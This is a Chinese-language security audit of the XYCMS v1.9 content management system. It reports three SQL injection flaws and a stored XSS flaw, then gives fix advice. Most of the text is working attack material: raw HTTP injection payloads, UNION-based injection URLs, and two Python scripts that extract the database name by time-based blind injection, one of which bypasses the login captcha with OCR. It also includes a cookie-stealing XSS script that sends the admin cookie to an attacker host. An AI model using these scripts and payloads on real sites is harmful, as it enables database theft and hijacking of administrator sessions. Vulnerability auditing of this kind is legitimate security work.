xycms v1.9的一次审计
字数 1052 2025-08-03 16:44:45
XYCMS v1.9 安全审计报告
目录结构分析
├── Conf(连接数据库的配置文件)
├── Libs(公共函数库)
├── Statics(JS静态文件)
├── Style(CSS样式)
├── add_book.php
├── add_do.php
├── code.php
├── foot.php
├── index.php
├── install(网站安装目录)
├── system(网站后台,审计重点)
└── top.php
SQL注入漏洞分析
第一处SQL注入:add_book_class.php
漏洞位置:/system/add_book_class.php
漏洞代码:
if($_GET["act"]==ok){
$siteinfo = array(
'title' => $_POST['title'],
'c_order' => $_POST['c_order']
);
$db->insert("****cms_book_class", $siteinfo);
//...
}
漏洞原理:
- 直接使用用户输入的
$_POST['title']和$_POST['c_order']构造SQL语句 insert()函数未对输入进行任何过滤处理
利用方式:
POST /system/add_book_class.php?act=ok HTTP/1.1
Host: localhost:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1
自动化利用脚本:
import requests
import time
url = 'http://localhost:81/system/add_book_class.php?act=ok'
cookie = {'Cookie': 'PHPSESSID=npvaign44srcvlhjglh9srrqo6'}
def binary_search_sql(start,end,payload,length=2):
name = ''
for i in range(1,length+1):
left = start
right = end
while 1:
mid = (left + right) // 2
if mid == left:
name += chr(mid)
break
start_time = time.time()
full_payload = payload.format(num1=str(i),num2=str(mid))
requests.post(url=url,data={'title':full_payload,'c_order':'1'},headers=cookie)
if time.time() - start_time > 2.5:
right = mid
else:
left = mid
return name
# 爆破库名长度
database_length_payload = "',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
database_length = binary_search_sql(48,57,database_length_payload,1)
print('database_length:'+database_length)
# 爆破库名
database_payload = "',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
print('database_name:'+binary_search_sql(33,127,database_payload,int(database_length)))
第二处SQL注入:loginpass.php
漏洞位置:/system/loginpass.php
漏洞代码:
$login_ip=getIp();
//...
$login_info=array(
'u_name'=>$m_name,
'login_date'=>strtotime(date('Y-m-d')),
'login_ip'=>$login_ip
);
$db->insert("admin_login_log",$login_info);
漏洞原理:
getIp()函数从X-Forwarded-For头获取IP地址- 未对IP地址进行过滤直接插入数据库
利用方式:
POST /system/loginpass.php HTTP/1.1
Host: localhost:81
X-Forwarded-For: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and '
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
admin=1&password=1&checkcode=4K23
自动化利用脚本:
import requests
from PIL import Image
import pytesseract
from time import time
r = requests.Session()
url_code = 'http://localhost:81/system/code.php?act=yes'
url_login = 'http://localhost:81/system/loginpass.php'
def code():
req = r.get(url_code)
with open('1.png', 'wb') as f:
f.write(req.content)
image = Image.open("1.png")
image = image.convert('L')
threshold = 150
table = []
for i in range(256):
if i < threshold:
table.append(0)
else:
table.append(1)
image = image.point(table,"1")
return pytesseract.image_to_string(image)
def checkcode_length(num2,num1=1):
payload_length = "1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '"
data = {'admin': '1', 'password': '1', 'checkcode': code()}
full_payload = payload_length.format(num1=str(num1),num2=str(num2))
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
return checkcode_length(num2)
def database_length():
length = ''
for i in range(48,58):
payload_length = "1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '"
data = {'admin': '1', 'password': '1', 'checkcode': code()}
full_payload = payload_length.format(num1=str(i))
start_time = time()
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
checkcode_length(str(i))
else:
if time() - start_time > 2.5:
length += chr(i)
return length
length = database_length()
print(length)
第三处SQL注入:hf_book.php
漏洞位置:/system/hf_book.php
漏洞代码:
$sxid=$_GET["id"];
$e_rs=$db->get_one("select * from ***cms_book where id=$sxid",MYSQL_ASSOC);
漏洞原理:
- 直接拼接
$_GET["id"]到SQL语句中 - 未进行任何过滤处理
利用方式:
- 确定字段数:
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11# (正确)
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12# (错误)
- 确定回显位置:
http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#
- 获取数据库名:
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#
存储型XSS漏洞分析
前台存储型XSS:add_do.php
漏洞位置:/add_do.php
漏洞代码:
$siteinfo = array(
'type_id' => intval(trim($_POST['type_id'])),
'b_title' => injCheck($_POST['b_title']),
'b_content' => injCheck($_POST['b_content']),
'b_name' => injCheck($_POST['b_name']),
'b_tel' => injCheck($_POST['b_tel']),
'b_mail' => injCheck($_POST['b_mail']),
'b_qq' => injCheck($_POST['b_qq']),
'b_ip' => injCheck($_POST['b_ip']),
'c_date' => time()
);
漏洞原理:
injCheck()函数仅过滤SQL注入,未过滤XSS- 所有用户输入字段都存在XSS风险
利用方式:
- 构造恶意JS代码:
var image=new Image();
image.src="http://attacker-ip:10006/cookies.phpcookie="+document.cookie;
- 提交恶意留言:
<script src="http://attacker-ip/4.js"></script>
- 当管理员查看留言时,cookie将被窃取
修复建议
SQL注入修复
- 对所有用户输入进行严格的过滤和转义
- 使用预处理语句(PDO)替代直接拼接SQL
- 对数字型参数使用
intval()强制转换 - 对字符串参数使用
addslashes()或mysql_real_escape_string()
XSS漏洞修复
- 对所有输出到页面的内容进行HTML实体编码
- 使用
htmlspecialchars()函数处理用户输入 - 设置HTTP头
Content-Security-Policy - 对敏感操作增加CSRF Token保护
其他安全建议
- 限制
X-Forwarded-For等HTTP头的使用 - 加强验证码机制,防止自动化攻击
- 实现权限最小化原则
- 定期进行安全审计和代码审查
总结
XYCMS v1.9存在多处严重安全漏洞,包括但不限于:
- 多处SQL注入漏洞(前台和后台)
- 存储型XSS漏洞
- 验证码绕过风险
- 缺乏输入输出过滤机制
建议开发者立即修复这些问题,并全面审查代码中的安全隐患。